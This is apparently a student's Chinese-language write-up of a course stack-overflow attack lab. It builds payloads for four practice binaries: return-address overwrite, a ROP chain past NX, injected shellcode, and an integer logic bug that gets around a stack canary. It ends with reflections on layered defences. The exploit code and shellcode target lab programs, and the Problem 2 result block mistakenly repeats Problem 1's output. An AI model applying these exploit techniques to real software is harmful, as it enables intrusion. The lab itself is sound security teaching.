# 栈溢出攻击实验

## 题目解决思路

### Problem 1:

- **分析**:
  1. 阅读汇编代码发现，`func`函数（地址0x401232）存在栈溢出漏洞：
     - 函数分配了0x20（32字节）的栈空间（`sub $0x20,%rsp`）
     - 局部变量存储在`-0x8(%rbp)`位置（即rbp-8）
     - 使用`strcpy`函数将输入复制到局部变量，没有长度检查
  2. 栈布局分析（64位系统）：
     - 进入`func`时，`call`指令将返回地址压栈（8字节）
     - `push %rbp`保存旧的rbp（8字节）
     - 当前rbp指向保存的rbp位置
     - 局部变量在`rbp-8`位置
     - 从`rbp-8`到`rbp`是8字节
     - `rbp`位置是保存的rbp（8字节）
     - `rbp+8`位置是返回地址（8字节）
  3. 目标函数`func1`（地址0x401216）：
     - 该函数会打印地址0x402004处的字符串（应该是'Yes!I like ICS!'）
     - 然后调用`exit(0)`退出程序
  4. 攻击思路：
     - 通过栈溢出覆盖返回地址，使`func`函数返回时跳转到`func1`函数
     - payload结构：8字节填充 + 8字节saved_rbp + 8字节func1地址
- **解决方案**:

```python
padding = b"A" * 8  # 覆盖从rbp-8到rbp的8字节
saved_rbp = b"B" * 8  # 覆盖保存的rbp（可以是任意值）
func1_address = b"\x16\x12\x40\x00\x00\x00\x00\x00"  # func1地址0x401216，小端序

payload = padding + saved_rbp + func1_address

# 将payload写入文件
with open("ans1.txt", "wb") as f:
    f.write(payload)
```

- **结果**:

```
leory@LAPTOP-QU482GLH:~/codes/attack-lab-functionx37$ ./problem1 ans1.txt
Do you like ICS?
Yes!I like ICS!
```

## Problem 2:

- **分析**:
  1. 阅读汇编代码发现，`func`函数（地址0x401290）存在栈溢出漏洞：
     - 函数分配了0x20（32字节）的栈空间（`sub $0x20,%rsp`）
     - 局部变量存储在`-0x8(%rbp)`位置（即rbp-8）
     - 使用`memcpy`函数复制0x38（56字节）的数据到局部变量，明显超过了分配的栈空间，存在溢出漏洞
  2. 目标函数`func2`（地址0x401216）：
     - 该函数接受一个参数（通过edi寄存器，即rdi的低32位）
     - 检查参数是否等于0x3f8（1016）
     - 如果参数等于0x3f8，则打印地址0x40203b处的字符串（应该是'Yes!I like ICS!'）
     - 否则打印其他内容并退出
  3. NX保护机制：
     - Problem 2启用了NX（No-Execute）保护，栈不可执行
     - 不能直接在栈上注入shellcode执行
     - 需要使用ROP（Return-Oriented Programming）技术
  4. ROP Gadget分析：
     - 程序中提供了`pop_rdi`函数（地址0x4012bb）
     - 该函数在地址0x4012c7处有`pop %rdi; ret`指令序列
     - 这个gadget可以用来设置rdi寄存器（64位系统第一个参数寄存器）
  5. 攻击思路：
     - 通过栈溢出覆盖返回地址
     - 使用ROP链：跳转到`pop_rdi` gadget → 设置rdi为0x3f8 → 跳转到`func2`函数
     - payload结构：8字节填充 + 8字节saved_rbp + 8字节pop_rdi_gadget + 8字节参数值 + 8字节func2地址
- **解决方案**:

```python
padding = b"A" * 8  # 覆盖从rbp-8到rbp的8字节
saved_rbp = b"B" * 8  # 覆盖保存的rbp（可以是任意值）

# ROP链：
# 1. 返回地址：pop_rdi gadget (0x4012c7) - pop %rdi; ret
pop_rdi_gadget = b"\xc7\x12\x40\x00\x00\x00\x00\x00"  # 0x4012c7

# 2. func2的参数：0x3f8（64位，小端序）
func2_arg = b"\xf8\x03\x00\x00\x00\x00\x00\x00"  # 0x00000000000003f8

# 3. func2函数地址
func2_address = b"\x16\x12\x40\x00\x00\x00\x00\x00"  # 0x401216

payload = padding + saved_rbp + pop_rdi_gadget + func2_arg + func2_address

# 将payload写入文件
```

```
with open("ans2.txt", "wb") as f:
    f.write(payload)
```

- **结果**:

```
leory@LAPTOP-QU482GLH:~/codes/attack-lab-functionx37$ ./problem1 ans1.txt
Do you like ICS?
Yes!I like ICS!
```

## Problem 3:

- **分析**:

1. 阅读汇编代码发现，`func`函数（地址0x401355）存在栈溢出漏洞:
   - 函数分配了0x30（48字节）的栈空间（`sub $0x30,%rsp`）
   - 缓冲区位于`rbp-0x20`位置（32字节）
   - 使用`memcpy`函数复制0x40（64字节）的数据到缓冲区，明显超过了分配空间
   - 会将当前`rsp`保存到全局变量`saved_rsp`（地址0x403510）
2. 栈布局分析:
   - 缓冲区大小：32字节（rbp-0x20 到 rbp）
   - saved rbp：8字节
   - 返回地址：8字节
   - 总共40字节可被覆盖，而memcpy复制64字节，存在24字节溢出
3. 目标函数`func1`（地址0x401216）：
   - 接受一个参数（通过edi寄存器）
   - 检查参数是否等于0x72（114）
   - 如果参数等于0x72，则打印"Your lucky number is 114"
4. 保护机制分析:
   - 本题**无NX保护**，栈可执行
   - 可以在栈上注入shellcode并执行
5. 攻击思路:
   - 在缓冲区开头放入shellcode
   - 覆盖返回地址为缓冲区起始地址
   - shellcode执行`func1(0x72)`来输出幸运数字114
6. 运行时地址获取（需关闭栈随机化）：
   - 使用GDB在`memcpy`之后设置断点，获取`saved_rsp`值
   - `saved_rsp = 0x7fffffffd810`（rsp值）
   - `rbp = saved_rsp + 0x30 = 0x7fffffffd840`
   - `缓冲区地址 = rbp - 0x20 = 0x7fffffffd820`
7. Shellcode设计（12字节）：

```
mov $0x72, %edi        # bf 72 00 00 00     (5 bytes) - 设置参数=114
mov $0x401216, %eax    # b8 16 12 40 00     (5 bytes) - func1地址
jmp *%rax              # ff e0              (2 bytes) - 跳转到func1
```

- **解决方案**:

```python
# Shellcode: 调用 func1(0x72) 来输出 "Your lucky number is 114"
shellcode = b"\xbf\x72\x00\x00\x00"  # mov $0x72, %edi
shellcode += b"\xb8\x16\x12\x40\x00"  # mov $0x401216, %eax
shellcode += b"\xff\xe0"              # jmp *%rax
# 共12字节

# Payload布局:
# 字节 0-11:  shellcode (12字节)
# 字节 12-31: NOP填充 (20字节)
# 字节 32-39: 假的 saved rbp (8字节)
# 字节 40-47: 返回地址 = 缓冲区地址 0x7fffffffd820

padding = b"\x90" * 20  # NOP sled
fake_rbp = b"B" * 8     # 假的saved rbp
buffer_addr = b"\x20\xd8\xff\xff\xff\x7f\x00\x00"  # 0x7fffffffd820 小端序

payload = shellcode + padding + fake_rbp + buffer_addr
extra_padding = b"\x00" * (64 - len(payload))
payload += extra_padding

with open("ans3.txt", "wb") as f:
    f.write(payload)
```

- **结果**:

```
leory@LAPTOP-QU482GLH:~/codes/attack-lab-functionx37$ gdb ./problem3
Reading symbols from ./problem3...
(gdb) run ans3.txt
Starting program: /home/leory/codes/attack-lab-functionx37/problem3 ans3.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
[Inferior 1 (process 3953) exited normally]
```

## Problem 4:

- **分析**:
  Canary 机制体现在函数的开头（设置）和结尾（检查）。
  - **1. 插入 Canary :**
    以 `caesar_decrypt` 函数为例（`main`, `func`, `func1` 中也有相同逻辑）：
    - `%fs:0x28` 是 Linux x86-64 下存储 Stack Canary 值的标准位置。
    - 它通常被放置在栈帧最靠近 `%rbp` 的局部变量位置（这里是 `-0x8`）。

```
121c:   64 48 8b 04 25 28 00    mov    %fs:0x28,%rax  ; 从 FS 段寄存器的偏移 0x28 处取出随机的 Canary 值
1223:   00 00
1225:   48 89 45 f8             mov    %rax,-0x8(%rbp) ; 将该值放入栈中 %rbp-0x8 的位置
```

- **2. 检查 Canary：**
  在函数准备返回（`ret`）之前：

```
1306:   48 8b 45 f8             mov    -0x8(%rbp),%rax ; 从栈中取出之前存入的值
130a:   64 48 2b 04 25 28 00    sub    %fs:0x28,%rax  ; 再次从 FS 段寄存器取出原始 Canary 值并相减
1311:   00 00
1313:   74 05                   je     131a <caesar_decrypt+0x111> ; 如果结果为 0（相等），跳转到正常退出
1315:   e8 b6 fd ff ff          call   10d0 <__stack_chk_fail@plt> ; 如果不相等（被篡改），调用报错函数终止程序
```

- **解决方案**：
- 地址 `1557` 处打印解密后的提示信息。
- 地址 `157f` 调用 `__isoc99_scanf` 读取一个整数到栈变量 `-0xa0(%rbp)` 中。
- 地址 `158c` 调用 `func` 函数，并将刚才输入的整数作为参数传递。
- 这是一个死循环（`jmp 1566`），除非在 `func` 内部调用 `exit`。
- `13aa`：`cmp -0x10(%rbp), %eax`。其中 `-0x10(%rbp)` 被初始化为 `0xfffffffe`（即有符号数 -2，无符号数 4294967294）。
- 如果输入的值（无符号）小于 `0xfffffffe`，程序会跳转到失败分支，打印失败信息并返回。
- 因此输入必须 `>= 4294967294`。
- 调用 `131c <func1>`（输出通关/Flag信息），然后调用 `exit` 退出程序。
- 因此输入-1即可
- **结果**：

```
leory@LAPTOP-QU482GLH:~/codes/attack-lab-functionx37$ ./problem4
hi please tell me what is your name?
homo
hi! do you like ics?
fuck_the_ics
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

# 思考与总结

通过本次栈溢出攻击实验，我对栈溢出漏洞的原理、利用方法以及防护机制有了更深入的理解。

## 1. 栈溢出攻击的本质

栈溢出攻击的核心在于**控制程序的执行流程**。通过覆盖栈上的返回地址，攻击者可以改变程序的正常执行路径。栈帧布局是理解栈溢出的关键：局部变量位于栈帧底部，返回地址位于栈帧顶部，缓冲区溢出时会从低地址向高地址覆盖，最终可能覆盖返回地址。

### 2. 不同保护机制的特点与绕过

**NX（No-Execute）保护**：Problem 2展示了当栈不可执行时，需要使用**ROP（Return-Oriented Programming）技术**来绕过保护。ROP通过利用程序中已有的代码片段（gadget），构造ROP链来串联多个gadget，最终实现攻击目标。这证明了即使栈不可执行，攻击者仍可通过重用现有代码实现攻击。

**Canary保护机制**：Problem 4展示了Stack Canary保护机制。Canary在函数开始时从`%fs:0x28`读取随机值存入栈中，在函数返回前检查其是否被修改。然而，如果攻击者能通过逻辑漏洞实现攻击目标而不需要覆盖返回地址，Canary保护就会失效，这提醒我们安全防护需要多层次考虑。

### 3. 技术要点与收获

- **Shellcode注入**：在栈可执行环境下，需要编写精简的汇编代码，并准确获取栈地址。
- **地址表示**：64位x86-64架构采用小端序存储，构造payload时需要正确转换地址格式。
- **栈布局计算**：准确计算缓冲区位置、saved rbp和返回地址的位置是成功利用的关键。
- **调试工具**：GDB等调试工具在获取运行时信息、验证攻击效果方面至关重要。

### 4. 安全防护的思考

通过本次实验，我认识到：

1. **安全是系统工程**：单一保护机制（如NX或Canary）无法完全防止攻击，需要多层防护措施配合使用。
2. **代码审计的重要性**：栈溢出漏洞往往源于不安全的函数使用（如`strcpy`、`memcpy`没有长度检查）。开发时应使用安全函数、进行边界检查、使用静态分析工具。
3. **防护机制的局限性**：NX可被ROP绕过，Canary可被逻辑漏洞绕过，ASLR增加了攻击难度但并非绝对安全。现代系统需要组合使用编译时保护（Canary、NX、PIE）、运行时保护（ASLR、DEP）和系统级保护（SELinux、AppArmor）。

# 参考资料

无